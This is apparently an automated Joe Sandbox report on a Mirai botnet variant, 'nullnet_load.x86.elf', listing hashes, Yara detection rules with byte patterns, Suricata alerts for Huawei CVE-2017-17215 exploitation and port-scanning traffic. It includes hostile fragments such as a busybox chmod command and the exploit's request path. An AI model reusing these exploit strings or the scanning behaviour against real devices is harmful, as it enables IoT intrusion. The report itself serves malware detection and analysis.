Edit tour

Linux Analysis Report
nullnet_load.x86.elf

Overview

General Information

Sample name:	nullnet_load.x86.elf
Analysis ID:	1494121
MD5:	cd0639b53ae5e0abc11d4fb9e5cb47d6
SHA1:	7f42f04ac73f3feec89fc302e97e532f7b818bc9
SHA256:	b54cfe57b6970686b781020486c03656ee9c4ac94bbf9d79f5b1fb630f3cf17d
Infos:

Detection

Mirai

Score:	84
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Yara signature match

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1494121
Start date and time:	2024-08-17 01:01:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nullnet_load.x86.elf
Detection:	MAL
Classification:	mal84.troj.linELF@0/0@1/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: nullnet_load.x86.elf

Runtime Messages

Command:	/tmp/nullnet_load.x86.elf
PID:	5451
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	..:: Nullnet Network ::..
Standard Error:

Process Tree

system is lnxubuntu20

nullnet_load.x86.elf (PID: 5451, Parent: 5373, MD5: cd0639b53ae5e0abc11d4fb9e5cb47d6) Arguments: /tmp/nullnet_load.x86.elf

nullnet_load.x86.elf New Fork (PID: 5452, Parent: 5451)

nullnet_load.x86.elf New Fork (PID: 5453, Parent: 5451)

nullnet_load.x86.elf New Fork (PID: 5454, Parent: 5453)

nullnet_load.x86.elf New Fork (PID: 5455, Parent: 5453)

nullnet_load.x86.elf New Fork (PID: 5456, Parent: 5453)

nullnet_load.x86.elf New Fork (PID: 5457, Parent: 5453)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
nullnet_load.x86.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
nullnet_load.x86.elf	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
nullnet_load.x86.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x62d0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
nullnet_load.x86.elf	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f1:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
nullnet_load.x86.elf	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
nullnet_load.x86.elf	Linux_Trojan_Mirai_99d78950	unknown	unknown	0x1140:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1220:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x12f5:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x15a0:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1a33:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
nullnet_load.x86.elf	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x111fe:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
nullnet_load.x86.elf	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
nullnet_load.x86.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xdfb2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
nullnet_load.x86.elf	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x2292:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
nullnet_load.x86.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xfee1:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
nullnet_load.x86.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xe9ed:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
nullnet_load.x86.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xdf82:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
nullnet_load.x86.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10fb6:$x2: /bin/busybox chmod 777 * /tmp/ 0x10d08:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Click to see the 9 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5452.1.0000000008048000.000000000805a000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5452.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
5452.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x62d0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5452.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f1:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
5452.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
5452.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0x1140:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1220:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x12f5:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x15a0:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1a33:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
5452.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x111fe:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
5452.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
5452.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xdfb2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5452.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x2292:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
5452.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xfee1:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5452.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xe9ed:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5452.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xdf82:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5452.1.0000000008048000.000000000805a000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10fb6:$x2: /bin/busybox chmod 777 * /tmp/ 0x10d08:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5454.1.0000000008048000.000000000805a000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5454.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
5454.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x62d0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5454.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f1:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
5454.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
5454.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0x1140:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1220:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x12f5:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x15a0:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1a33:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
5454.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x111fe:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
5454.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
5454.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xdfb2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5454.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x2292:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
5454.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xfee1:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5454.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xe9ed:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5454.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xdf82:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5454.1.0000000008048000.000000000805a000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10fb6:$x2: /bin/busybox chmod 777 * /tmp/ 0x10d08:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
5451.1.0000000008048000.000000000805a000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5451.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x46a:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
5451.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x62d0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5451.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_93fc3657	unknown	unknown	0x4f1:$a: 00 00 00 89 44 24 60 89 D1 31 C0 8B 7C 24 28 FC F3 AB 89 D1 8B 7C
5451.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_804f8e7c	unknown	unknown	0x39b:$a: 31 ED 81 E1 FF 00 00 00 89 4C 24 58 89 EA C6 46 04 00 C1 FA 1F
5451.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_99d78950	unknown	unknown	0x1140:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1220:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x12f5:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x15a0:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 0x1a33:$a: 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00
5451.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_575f5bc8	unknown	unknown	0x111fe:$a: 5A 56 5B 5B 55 42 44 5E 59 52 44 44 00 5E 73 5E 45 52 54 43 00
5451.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_a68e498c	unknown	unknown	0x2b3:$a: 10 39 D0 7E 25 8B 4C 24 38 01 D1 8A 11 8D 42 9F 3C 19 77 05 8D
5451.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xdfb2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5451.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x2292:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
5451.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xfee1:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5451.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xe9ed:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5451.1.0000000008048000.000000000805a000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xdf82:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5451.1.0000000008048000.000000000805a000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x10fb6:$x2: /bin/busybox chmod 777 * /tmp/ 0x10d08:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: nullnet_load.x86.elf PID: 5451	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: nullnet_load.x86.elf PID: 5452	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: nullnet_load.x86.elf PID: 5454	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 40 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.73.242.6

Timestamp:	2024-08-17T01:02:02.081007+0200
SID:	2835222
Severity:	1
Source Port:	57458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.203.43.145

Timestamp:	2024-08-17T01:01:54.855241+0200
SID:	2835222
Severity:	1
Source Port:	34628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.131.247.58

Timestamp:	2024-08-17T01:01:55.440844+0200
SID:	2835222
Severity:	1
Source Port:	53754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.93.225.165

Timestamp:	2024-08-17T01:01:53.282139+0200
SID:	2835222
Severity:	1
Source Port:	42620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.131.244.219

Timestamp:	2024-08-17T01:01:54.604958+0200
SID:	2835222
Severity:	1
Source Port:	55986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: nullnet_load.x86.elf

Avira: detected

Machine Learning detection for sample

Source: nullnet_load.x86.elf

Joe Sandbox ML: detected

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42620 -> 156.93.225.165:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55986 -> 197.131.244.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34628 -> 41.203.43.145:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53754 -> 197.131.247.58:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:57458 -> 156.73.242.6:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.218.157.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.234.175.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.18.66.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.56.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.169.84.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.104.87.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.15.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.182.51.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.143.146.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.252.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.214.139.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.227.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.242.157.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.146.199.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.18.103.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.205.144.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.129.1.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.132.36.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.217.242.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.158.162.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.198.215.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.225.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.249.45.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.37.151.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.252.234.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.210.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.118.68.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.137.80.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.47.130.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.58.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.40.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.234.12.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.3.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.102.161.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.40.44.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.81.9.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.219.194.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.84.217.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.18.249.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.105.254.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.165.216.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.221.71.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.131.160.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.122.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.42.44.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.186.130.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.119.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.179.81.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.122.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.107.15.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.36.217.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.234.225.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.163.251.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.202.250.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.247.114.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.49.222.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.123.92.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.6.188.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.53.233.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.15.205.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.81.111.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.129.214.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.197.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.164.165.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.123.207.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.112.134.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.214.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.201.128.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.240.164.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.88.12.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.10.76.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.20.56.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.214.100.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.215.30.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.99.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.235.23.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.169.43.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.177.89.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.55.145.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.40.45.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.122.150.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.198.123.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.251.210.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.253.199.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.241.76.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.233.208.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.68.4.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.8.222.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.168.155.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.49.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.60.201.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.148.125.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.13.184.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.234.205.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.19.137.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.138.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.207.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.41.196.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.248.246.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.188.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.245.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.83.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.76.37.32 ports 1,2,3,5,7,37215
